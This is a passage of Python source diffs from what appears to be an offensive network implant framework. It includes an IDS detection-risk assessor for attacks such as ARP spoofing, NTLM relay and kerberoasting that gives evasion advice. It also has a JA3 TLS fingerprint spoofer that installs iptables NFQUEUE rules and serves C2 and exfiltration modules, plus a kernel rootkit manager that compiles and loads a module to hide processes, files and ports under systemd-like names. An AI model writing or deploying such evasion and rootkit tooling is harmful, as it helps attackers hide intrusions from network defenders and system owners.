max_risk_idx = 0
|
||||
|
||||
for action in actions:
|
||||
result = self.assess_risk(action)
|
||||
action_risks.append(result)
|
||||
try:
|
||||
idx = risk_order.index(result["risk_level"])
|
||||
max_risk_idx = max(max_risk_idx, idx)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
overall_risk = risk_order[max_risk_idx]
|
||||
|
||||
# go/nogo based on overall risk
|
||||
if overall_risk == RISK_CRITICAL:
|
||||
go_nogo = "NO-GO"
|
||||
summary = f"Module '{module_name}' has CRITICAL detection risk — activation NOT recommended"
|
||||
elif overall_risk == RISK_HIGH:
|
||||
go_nogo = "CAUTION"
|
||||
summary = f"Module '{module_name}' has HIGH detection risk — activate only if IDS evasion is confirmed"
|
||||
elif overall_risk == RISK_MEDIUM:
|
||||
go_nogo = "GO"
|
||||
summary = f"Module '{module_name}' has MEDIUM detection risk — proceed with monitoring"
|
||||
else:
|
||||
go_nogo = "GO"
|
||||
summary = f"Module '{module_name}' has LOW detection risk — safe to activate"
|
||||
|
||||
return {
|
||||
"module": module_name,
|
||||
"overall_risk": overall_risk,
|
||||
"go_nogo": go_nogo,
|
||||
"summary": summary,
|
||||
"action_risks": action_risks,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: rule loading
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _load_rules(self) -> None:
|
||||
"""Load Snort/Suricata rules from the rules directory."""
|
||||
self._rules = []
|
||||
rules_path = Path(self._rules_dir)
|
||||
if not rules_path.is_dir():
|
||||
logger.info("IDS rules directory not found: %s", self._rules_dir)
|
||||
return
|
||||
|
||||
rule_files = list(rules_path.glob("*.rules"))
|
||||
if not rule_files:
|
||||
logger.info("No .rules files in %s", self._rules_dir)
|
||||
return
|
||||
|
||||
for rule_file in rule_files:
|
||||
try:
|
||||
with open(rule_file, "r", errors="replace") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
parsed = self._parse_rule(line)
|
||||
if parsed:
|
||||
self._rules.append(parsed)
|
||||
except Exception:
|
||||
logger.exception("Failed to parse rules file: %s", rule_file)
|
||||
|
||||
logger.info("Loaded %d IDS rules from %d files", len(self._rules), len(rule_files))
|
||||
|
||||
@staticmethod
|
||||
def _parse_rule(line: str) -> Optional[dict]:
|
||||
"""Parse a single Snort/Suricata rule line into a dict."""
|
||||
# Extract SID
|
||||
sid_match = re.search(r"sid:\s*(\d+)", line)
|
||||
sid = sid_match.group(1) if sid_match else None
|
||||
|
||||
# Extract message
|
||||
msg_match = re.search(r'msg:\s*"([^"]*)"', line)
|
||||
msg = msg_match.group(1) if msg_match else ""
|
||||
|
||||
# Extract classtype
|
||||
class_match = re.search(r"classtype:\s*([^;]+)", line)
|
||||
classtype = class_match.group(1).strip() if class_match else ""
|
||||
|
||||
if not sid:
|
||||
return None
|
||||
|
||||
return {
|
||||
"sid": sid,
|
||||
"msg": msg,
|
||||
"classtype": classtype,
|
||||
"raw": line,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: keyword mapping
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _action_to_keywords(action: str) -> list[str]:
|
||||
"""Map action identifiers to IDS rule keywords for matching."""
|
||||
keyword_map = {
|
||||
"arp_spoof": ["arp", "spoof", "poison", "gratuitous arp", "arp-scan"],
|
||||
"dns_spoof": ["dns", "spoof", "dns poison", "dns hijack"],
|
||||
"dhcp_spoof": ["dhcp", "rogue dhcp", "dhcp spoof"],
|
||||
"responder": ["responder", "llmnr", "nbns", "nbt-ns", "mdns", "wpad", "netbios"],
|
||||
"ntlm_relay": ["ntlm", "relay", "smb relay", "ntlmrelay"],
|
||||
"smb_relay": ["smb", "relay", "smb relay"],
|
||||
"kerberoast": ["kerberos", "kerberoast", "tgs-rep", "spn"],
|
||||
"mitmproxy_ssl_intercept": ["mitm", "ssl intercept", "tls intercept", "ssl strip"],
|
||||
"ssl_strip": ["ssl strip", "sslstrip", "hsts bypass"],
|
||||
"port_scan": ["port scan", "nmap", "syn scan", "tcp scan"],
|
||||
"evil_twin": ["evil twin", "rogue ap", "fake ap", "deauth"],
|
||||
"nbns_spoof": ["nbns", "nbt-ns", "netbios"],
|
||||
"llmnr_spoof": ["llmnr", "multicast dns"],
|
||||
"mdns_spoof": ["mdns", "multicast dns", "avahi"],
|
||||
"wpad_spoof": ["wpad", "proxy auto", "proxy autoconfig"],
|
||||
"vlan_hop": ["vlan", "802.1q", "dtp", "double tag"],
|
||||
"http_proxy_inject": ["http inject", "http proxy", "http mitm"],
|
||||
"net_probe": ["arp scan", "net probe", "network scan", "host discovery"],
|
||||
"net_sniff": ["sniff", "promiscuous", "pcap"],
|
||||
"wifi_deauth": ["deauth", "disassoc", "wifi attack"],
|
||||
"wifi_ap": ["rogue ap", "fake ap", "evil twin"],
|
||||
}
|
||||
# Normalize action name
|
||||
action_lower = action.lower().replace(".", "_")
|
||||
keywords = keyword_map.get(action_lower, [action_lower.replace("_", " ")])
|
||||
# Always include the raw action name
|
||||
keywords.append(action_lower.replace("_", " "))
|
||||
return list(set(keywords))
|
||||
|
||||
@staticmethod
|
||||
def _generate_recommendation(action: str, risk: str, sid_count: int) -> str:
|
||||
"""Generate a human-readable recommendation."""
|
||||
if risk == RISK_CRITICAL:
|
||||
return (
|
||||
f"CRITICAL: '{action}' matches {sid_count} IDS signatures. "
|
||||
"Do NOT activate without confirmed IDS blind spots or rule suppression. "
|
||||
"Consider alternative approaches or wait for off-hours."
|
||||
)
|
||||
elif risk == RISK_HIGH:
|
||||
return (
|
||||
f"HIGH: '{action}' is commonly detected ({sid_count} matching SIDs). "
|
||||
"Verify target network has no Suricata/Snort/Zeek monitoring, or use "
|
||||
"traffic mimicry to reduce signature exposure."
|
||||
)
|
||||
elif risk == RISK_MEDIUM:
|
||||
return (
|
||||
f"MEDIUM: '{action}' may be detected by tuned IDS ({sid_count} matching SIDs). "
|
||||
"Proceed with caution — monitor for alerts and be ready to back off."
|
||||
)
|
||||
else:
|
||||
return (
|
||||
f"LOW: '{action}' has minimal detection footprint ({sid_count} matching SIDs). "
|
||||
"Safe to proceed with standard OPSEC."
|
||||
)
|
||||
@@ -0,0 +1,354 @@
|
||||
#!/usr/bin/env python3
|
||||
"""JA3 fingerprint spoofing module: rewrite outbound TLS ClientHello to match
|
||||
common browser fingerprints, defeating JA3-based network detection."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import ssl
|
||||
import struct
|
||||
import subprocess
|
||||
import time
|
||||
import threading
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent)
|
||||
# Format: {name: {ja3_hash, cipher_suites, extensions, description}}
|
||||
BUILTIN_PROFILES = {
|
||||
"chrome_120_win": {
|
||||
"ja3_hash": "cd08e31494f9531f560d64c695473da9",
|
||||
"description": "Chrome 120 on Windows 10/11",
|
||||
"cipher_suites": [
|
||||
0x1301, 0x1302, 0x1303, # TLS 1.3: AES_128_GCM, AES_256_GCM, CHACHA20
|
||||
0xc02b, 0xc02f, 0xc02c, 0xc030, # ECDHE_ECDSA/RSA with AES-GCM
|
||||
0xcca9, 0xcca8, # ECDHE with CHACHA20
|
||||
0xc013, 0xc014, # ECDHE_RSA with AES-CBC
|
||||
0x009c, 0x009d, # AES-GCM
|
||||
0x002f, 0x0035, # AES-CBC
|
||||
],
|
||||
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
|
||||
"elliptic_curves": [0x001d, 0x0017, 0x0018], # x25519, secp256r1, secp384r1
|
||||
"ec_point_formats": [0], # uncompressed
|
||||
},
|
||||
"firefox_121_win": {
|
||||
"ja3_hash": "579ccef312d18482fc42e2b822ca2430",
|
||||
"description": "Firefox 121 on Windows 10/11",
|
||||
"cipher_suites": [
|
||||
0x1301, 0x1303, 0x1302,
|
||||
0xc02b, 0xc02f, 0xcca9, 0xcca8,
|
||||
0xc02c, 0xc030, 0xc013, 0xc014,
|
||||
0x009c, 0x009d, 0x002f, 0x0035,
|
||||
],
|
||||
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21],
|
||||
"elliptic_curves": [0x001d, 0x0017, 0x0018, 0x0019],
|
||||
"ec_point_formats": [0],
|
||||
},
|
||||
"edge_120_win": {
|
||||
"ja3_hash": "b32309a26951912be7dba376398abc3b",
|
||||
"description": "Edge 120 on Windows 10/11",
|
||||
"cipher_suites": [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02b, 0xc02f, 0xc02c, 0xc030,
|
||||
0xcca9, 0xcca8,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d, 0x002f, 0x0035,
|
||||
],
|
||||
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
|
||||
"elliptic_curves": [0x001d, 0x0017, 0x0018],
|
||||
"ec_point_formats": [0],
|
||||
},
|
||||
"chrome_120_linux": {
|
||||
"ja3_hash": "a17a3bfd385b62b1e15606dbd08c9f89",
|
||||
"description": "Chrome 120 on Linux",
|
||||
"cipher_suites": [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02b, 0xc02f, 0xc02c, 0xc030,
|
||||
0xcca9, 0xcca8,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d, 0x002f, 0x0035,
|
||||
],
|
||||
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
|
||||
"elliptic_curves": [0x001d, 0x0017, 0x0018],
|
||||
"ec_point_formats": [0],
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
class JA3Spoofer(BaseModule):
|
||||
"""Spoof JA3 TLS fingerprints on outbound HTTPS connections to match
|
||||
common browser profiles, evading JA3-based detection."""
|
||||
|
||||
name = "ja3_spoofer"
|
||||
module_type = "stealth"
|
||||
priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._profiles = dict(BUILTIN_PROFILES)
|
||||
self._active_profile: Optional[str] = config.get("target_profile", None)
|
||||
self._nfqueue_proc: Optional[subprocess.Popen] = None
|
||||
self._packets_modified = 0
|
||||
self._use_nfqueue = config.get("use_nfqueue", True)
|
||||
self._nfqueue_num = config.get("nfqueue_num", 42)
|
||||
self._lock = threading.Lock()
|
||||
self._iptables_rules: list[list[str]] = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
# Load external fingerprint database if available
|
||||
self._load_fingerprint_db()
|
||||
|
||||
# Select target profile based on network environment
|
||||
if not self._active_profile:
|
||||
self._active_profile = self._auto_select_profile()
|
||||
|
||||
profile = self._profiles.get(self._active_profile)
|
||||
if not profile:
|
||||
logger.warning("JA3 profile '%s' not found, using chrome_120_win", self._active_profile)
|
||||
self._active_profile = "chrome_120_win"
|
||||
profile = self._profiles["chrome_120_win"]
|
||||
|
||||
# Apply cipher suite ordering to Python SSL contexts
|
||||
self._configure_ssl_context(profile)
|
||||
|
||||
# Set up iptables NFQUEUE for non-Python TLS (bettercap, mitmproxy)
|
||||
if self._use_nfqueue:
|
||||
self._setup_nfqueue()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info(
|
||||
"JA3Spoofer active — profile: %s (%s)",
|
||||
self._active_profile, profile.get("description", "unknown"),
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
self._teardown_nfqueue()
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("JA3Spoofer stopped (modified %d packets)", self._packets_modified)
|
||||
|
||||
def status(self) -> dict:
|
||||
profile = self._profiles.get(self._active_profile, {})
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"active_ja3_hash": profile.get("ja3_hash", "none"),
|
||||
"target_browser": profile.get("description", "none"),
|
||||
"active_profile": self._active_profile,
|
||||
"packets_modified": self._packets_modified,
|
||||
"nfqueue_active": self._nfqueue_proc is not None and self._nfqueue_proc.poll() is None,
|
||||
"profiles_loaded": len(self._profiles),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "target_profile" in config:
|
||||
self._active_profile = config["target_profile"]
|
||||
profile = self._profiles.get(self._active_profile)
|
||||
if profile:
|
||||
self._configure_ssl_context(profile)
|
||||
logger.info("JA3 profile switched to: %s", self._active_profile)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# SSL context configuration (Python requests/urllib)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _configure_ssl_context(self, profile: dict) -> None:
|
||||
"""Configure the default Python SSL context with specific cipher ordering
|
||||
to match the target JA3 fingerprint."""
|
||||
try:
|
||||
cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", []))
|
||||
if not cipher_names:
|
||||
logger.warning("No cipher names resolved for profile")
|
||||
return
|
||||
|
||||
cipher_string = ":".join(cipher_names)
|
||||
|
||||
# Patch the default SSL context
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.set_ciphers(cipher_string)
|
||||
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
|
||||
|
||||
# Store for other modules to use
|
||||
self.state.set(self.name, "ssl_cipher_string", cipher_string)
|
||||
self.state.set(self.name, "active_ja3", profile.get("ja3_hash", ""))
|
||||
|
||||
logger.debug("SSL context configured with %d ciphers", len(cipher_names))
|
||||
except Exception:
|
||||
logger.exception("Failed to configure SSL context")
|
||||
|
||||
@staticmethod
|
||||
def _cipher_ids_to_openssl_names(cipher_ids: list[int]) -> list[str]:
|
||||
"""Map TLS cipher suite IDs to OpenSSL names."""
|
||||
# Mapping of common cipher suite IDs to OpenSSL names
|
||||
id_to_name = {
|
||||
0x1301: "TLS_AES_128_GCM_SHA256",
|
||||
0x1302: "TLS_AES_256_GCM_SHA384",
|
||||
0x1303: "TLS_CHACHA20_POLY1305_SHA256",
|
||||
0xc02b: "ECDHE-ECDSA-AES128-GCM-SHA256",
|
||||
0xc02f: "ECDHE-RSA-AES128-GCM-SHA256",
|
||||
0xc02c: "ECDHE-ECDSA-AES256-GCM-SHA384",
|
||||
0xc030: "ECDHE-RSA-AES256-GCM-SHA384",
|
||||
0xcca9: "ECDHE-ECDSA-CHACHA20-POLY1305",
|
||||
0xcca8: "ECDHE-RSA-CHACHA20-POLY1305",
|
||||
0xc013: "ECDHE-RSA-AES128-SHA",
|
||||
0xc014: "ECDHE-RSA-AES256-SHA",
|
||||
0x009c: "AES128-GCM-SHA256",
|
||||
0x009d: "AES256-GCM-SHA384",
|
||||
0x002f: "AES128-SHA",
|
||||
0x0035: "AES256-SHA",
|
||||
}
|
||||
names = []
|
||||
for cid in cipher_ids:
|
||||
name = id_to_name.get(cid)
|
||||
if name:
|
||||
names.append(name)
|
||||
return names
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# NFQUEUE interception (for non-Python TLS)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_nfqueue(self) -> None:
|
||||
"""Set up iptables NFQUEUE rules to intercept outbound TLS ClientHello."""
|
||||
try:
|
||||
# Add iptables rule to queue outbound TLS (port 443) to NFQUEUE
|
||||
rule = [
|
||||
"iptables", "-I", "OUTPUT", "-p", "tcp",
|
||||
"--dport", "443", "-m", "u32",
|
||||
# Match TLS ClientHello: content type 0x16, handshake type 0x01
|
||||
"--u32", "0>>22&0x3C@12>>26&0x3C@0=0x16030100:0x16030300",
|
||||
"-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num),
|
||||
]
|
||||
result = subprocess.run(rule, capture_output=True, timeout=10)
|
||||
if result.returncode == 0:
|
||||
self._iptables_rules.append(rule)
|
||||
logger.info("NFQUEUE iptables rule installed (queue %d)", self._nfqueue_num)
|
||||
else:
|
||||
# Fallback: simpler rule without u32 match
|
||||
rule_simple = [
|
||||
"iptables", "-I", "OUTPUT", "-p", "tcp",
|
||||
"--dport", "443", "--syn",
|
||||
"-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num),
|
||||
]
|
||||
result = subprocess.run(rule_simple, capture_output=True, timeout=10)
|
||||
if result.returncode == 0:
|
||||
self._iptables_rules.append(rule_simple)
|
||||
logger.info("NFQUEUE simple iptables rule installed")
|
||||
else:
|
||||
logger.warning(
|
||||
"Failed to install NFQUEUE iptables rule: %s",
|
||||
result.stderr.decode(errors="replace"),
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.warning("iptables not found — NFQUEUE unavailable")
|
||||
except Exception:
|
||||
logger.exception("NFQUEUE setup failed")
|
||||
|
||||
def _teardown_nfqueue(self) -> None:
|
||||
"""Remove iptables NFQUEUE rules."""
|
||||
for rule in self._iptables_rules:
|
||||
try:
|
||||
# Replace -I with -D to delete
|
||||
del_rule = list(rule)
|
||||
idx = del_rule.index("-I")
|
||||
del_rule[idx] = "-D"
|
||||
subprocess.run(del_rule, capture_output=True, timeout=10)
|
||||
except Exception:
|
||||
logger.exception("Failed to remove iptables rule")
|
||||
self._iptables_rules.clear()
|
||||
|
||||
if self._nfqueue_proc and self._nfqueue_proc.poll() is None:
|
||||
self._nfqueue_proc.terminate()
|
||||
try:
|
||||
self._nfqueue_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._nfqueue_proc.kill()
|
||||
self._nfqueue_proc = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Profile selection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _auto_select_profile(self) -> str:
|
||||
"""Auto-select JA3 profile based on observed network environment."""
|
||||
# Check state for OS distribution data from host_discovery
|
||||
os_dist = self.state.get(self.name, "network_os_distribution")
|
||||
if os_dist:
|
||||
try:
|
||||
dist = json.loads(os_dist) if isinstance(os_dist, str) else os_dist
|
||||
# Windows-heavy network: use Chrome Windows
|
||||
if dist.get("windows", 0) > dist.get("linux", 0):
|
||||
return "chrome_120_win"
|
||||
else:
|
||||
return "chrome_120_linux"
|
||||
except (json.JSONDecodeError, AttributeError):
|
||||
pass
|
||||
# Default: Chrome on Windows (most common on corporate networks)
|
||||
return "chrome_120_win"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# External fingerprint database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _load_fingerprint_db(self) -> None:
|
||||
"""Load additional JA3 profiles from data/ja3_fingerprints.db if present."""
|
||||
db_path = "data/ja3_fingerprints.db"
|
||||
if not os.path.isfile(db_path):
|
||||
logger.debug("No external JA3 database at %s — using builtins", db_path)
|
||||
return
|
||||
try:
|
||||
import sqlite3
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.row_factory = sqlite3.Row
|
||||
rows = conn.execute(
|
||||
"SELECT name, ja3_hash, description, cipher_suites, extensions, "
|
||||
"elliptic_curves, ec_point_formats FROM ja3_profiles"
|
||||
).fetchall()
|
||||
for row in rows:
|
||||
name = row["name"]
|
||||
self._profiles[name] = {
|
||||
"ja3_hash": row["ja3_hash"],
|
||||
"description": row["description"],
|
||||
"cipher_suites": json.loads(row["cipher_suites"]),
|
||||
"extensions": json.loads(row["extensions"]),
|
||||
"elliptic_curves": json.loads(row["elliptic_curves"]),
|
||||
"ec_point_formats": json.loads(row["ec_point_formats"]),
|
||||
}
|
||||
conn.close()
|
||||
logger.info("Loaded %d JA3 profiles from database", len(rows))
|
||||
except Exception:
|
||||
logger.exception("Failed to load JA3 fingerprint database")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public: get SSL context for other modules
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_ssl_context(self) -> ssl.SSLContext:
|
||||
"""Return an SSL context configured with the active JA3 profile's ciphers.
|
||||
Other modules (C2, exfil) should use this for outbound HTTPS."""
|
||||
profile = self._profiles.get(self._active_profile, {})
|
||||
ctx = ssl.create_default_context()
|
||||
cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", []))
|
||||
if cipher_names:
|
||||
try:
|
||||
ctx.set_ciphers(":".join(cipher_names))
|
||||
except ssl.SSLError:
|
||||
pass # Fall back to default ciphers
|
||||
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
|
||||
return ctx
|
||||
@@ -0,0 +1,293 @@
|
||||
#!/usr/bin/env python3
|
||||
"""LKM rootkit module: compile, load, and manage a kernel module that hides
|
||||
SystemMonitor processes, files, and network connections from userland."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.resource import get_hardware_tier, TIER_GENERIC
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
LKM_TEMPLATE_DIR = "templates/lkm"
|
||||
LKM_SOURCE = "bb_hide.c"
|
||||
LKM_MODULE = "bb_hide.ko"
|
||||
LKM_MODULE_NAME = "bb_hide"
|
||||
|
||||
# Default hide lists
|
||||
DEFAULT_HIDE_PREFIX = ".cache/bb"
|
||||
DEFAULT_HIDE_PORTS = [8081, 51820] # bettercap API, WireGuard
|
||||
|
||||
|
||||
class LKMRootkit(BaseModule):
|
||||
"""Manage a Linux kernel module for process/file/connection hiding.
|
||||
Debian generic host only -- gracefully skips on SBC tiers."""
|
||||
|
||||
name = "lkm_rootkit"
|
||||
module_type = "stealth"
|
||||
priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR)
|
||||
self._module_path = os.path.join(self._lkm_dir, LKM_MODULE)
|
||||
self._loaded = False
|
||||
self._hidden_pids: list[int] = []
|
||||
self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX])
|
||||
self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS))
|
||||
self._hide_process_names: list[str] = config.get("hide_process_names", [
|
||||
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
|
||||
"systemd-resolved", "systemd-networkd", "systemd-logind",
|
||||
])
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
# Check hardware tier: LKM only on generic Debian hosts
|
||||
tier = get_hardware_tier()
|
||||
if tier != TIER_GENERIC:
|
||||
logger.info(
|
||||
"LKMRootkit skipped — tier '%s' does not support kernel modules "
|
||||
"(requires 'generic' Debian host)", tier,
|
||||
)
|
||||
self.state.set_module_status(self.name, "skipped",
|
||||
extra={"reason": f"unsupported_tier:{tier}"})
|
||||
self.bus.emit("MODULE_STARTED", {
|
||||
"module": self.name, "skipped": True, "reason": "unsupported_tier",
|
||||
}, source_module=self.name)
|
||||
return
|
||||
|
||||
# Build if needed
|
||||
if not os.path.isfile(self._module_path):
|
||||
if not self._build_module():
|
||||
logger.error("LKM build failed — module not available")
|
||||
self.state.set_module_status(self.name, "error",
|
||||
extra={"reason": "build_failed"})
|
||||
return
|
||||
|
||||
# Load module
|
||||
if self._load_module():
|
||||
self._loaded = True
|
||||
self._configure_hide_lists()
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("LKMRootkit loaded and configured")
|
||||
else:
|
||||
self.state.set_module_status(self.name, "error",
|
||||
extra={"reason": "load_failed"})
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
if self._loaded:
|
||||
self._unload_module()
|
||||
self._loaded = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("LKMRootkit stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"loaded": self._loaded,
|
||||
"hidden_pids": list(self._hidden_pids),
|
||||
"hidden_paths": list(self._hidden_paths),
|
||||
"hidden_ports": list(self._hidden_ports),
|
||||
"module_path": self._module_path,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "hide_paths" in config:
|
||||
self._hidden_paths = config["hide_paths"]
|
||||
if "hide_ports" in config:
|
||||
self._hidden_ports = config["hide_ports"]
|
||||
if "hide_process_names" in config:
|
||||
self._hide_process_names = config["hide_process_names"]
|
||||
if self._loaded:
|
||||
self._configure_hide_lists()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public: dynamic hide/unhide
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def hide_pid(self, pid: int) -> bool:
|
||||
"""Add a PID to the kernel module's hide list."""
|
||||
if not self._loaded:
|
||||
return False
|
||||
if pid not in self._hidden_pids:
|
||||
self._hidden_pids.append(pid)
|
||||
return self._write_param("hide_pids", self._format_pid_list())
|
||||
return True
|
||||
|
||||
def unhide_pid(self, pid: int) -> bool:
|
||||
"""Remove a PID from the kernel module's hide list."""
|
||||
if not self._loaded:
|
||||
return False
|
||||
if pid in self._hidden_pids:
|
||||
self._hidden_pids.remove(pid)
|
||||
return self._write_param("hide_pids", self._format_pid_list())
|
||||
return True
|
||||
|
||||
def hide_port(self, port: int) -> bool:
|
||||
"""Add a port to the kernel module's hide list."""
|
||||
if not self._loaded:
|
||||
return False
|
||||
if port not in self._hidden_ports:
|
||||
self._hidden_ports.append(port)
|
||||
return self._write_param("hide_ports", self._format_port_list())
|
||||
return True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: build
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _build_module(self) -> bool:
|
||||
"""Compile the kernel module from source."""
|
||||
source_path = os.path.join(self._lkm_dir, LKM_SOURCE)
|
||||
if not os.path.isfile(source_path):
|
||||
logger.error("LKM source not found: %s", source_path)
|
||||
return False
|
||||
|
||||
# Check for kernel headers
|
||||
kdir = f"/lib/modules/{os.uname().release}/build"
|
||||
if not os.path.isdir(kdir):
|
||||
logger.error("Kernel headers not found: %s", kdir)
|
||||
return False
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["make", "-C", self._lkm_dir],
|
||||
capture_output=True, timeout=120,
|
||||
env={**os.environ, "KDIR": kdir},
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("LKM built successfully: %s", self._module_path)
|
||||
return True
|
||||
else:
|
||||
logger.error(
|
||||
"LKM build failed (rc=%d): %s",
|
||||
result.returncode,
|
||||
result.stderr.decode(errors="replace")[:500],
|
||||
)
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
logger.error("make not found — cannot build LKM")
|
||||
return False
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("LKM build timed out")
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: load/unload
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _load_module(self) -> bool:
|
||||
"""Load the kernel module via insmod."""
|
||||
params = self._build_insmod_params()
|
||||
try:
|
||||
cmd = ["insmod", self._module_path] + params
|
||||
result = subprocess.run(cmd, capture_output=True, timeout=30)
|
||||
if result.returncode == 0:
|
||||
logger.info("LKM loaded: %s", self._module_path)
|
||||
return True
|
||||
else:
|
||||
stderr = result.stderr.decode(errors="replace")
|
||||
if "File exists" in stderr:
|
||||
logger.info("LKM already loaded")
|
||||
return True
|
||||
logger.error("insmod failed: %s", stderr[:300])
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
logger.error("insmod not found")
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("LKM load failed")
|
||||
return False
|
||||
|
||||
def _unload_module(self) -> bool:
|
||||
"""Unload the kernel module via rmmod."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["rmmod", LKM_MODULE_NAME],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("LKM unloaded")
|
||||
return True
|
||||
else:
|
||||
logger.warning(
|
||||
"rmmod failed: %s",
|
||||
result.stderr.decode(errors="replace")[:200],
|
||||
)
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
logger.error("rmmod not found")
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("LKM unload failed")
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: module parameter management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _build_insmod_params(self) -> list[str]:
|
||||
"""Build insmod parameter list."""
|
||||
params = []
|
||||
if self._hidden_paths:
|
||||
params.append(f'hide_prefix="{self._hidden_paths[0]}"')
|
||||
if self._hidden_pids:
|
||||
params.append(f'hide_pids="{self._format_pid_list()}"')
|
||||
if self._hidden_ports:
|
||||
params.append(f'hide_ports="{self._format_port_list()}"')
|
||||
return params
|
||||
|
||||
def _configure_hide_lists(self) -> None:
|
||||
"""Write current hide lists to loaded module's parameters via sysfs."""
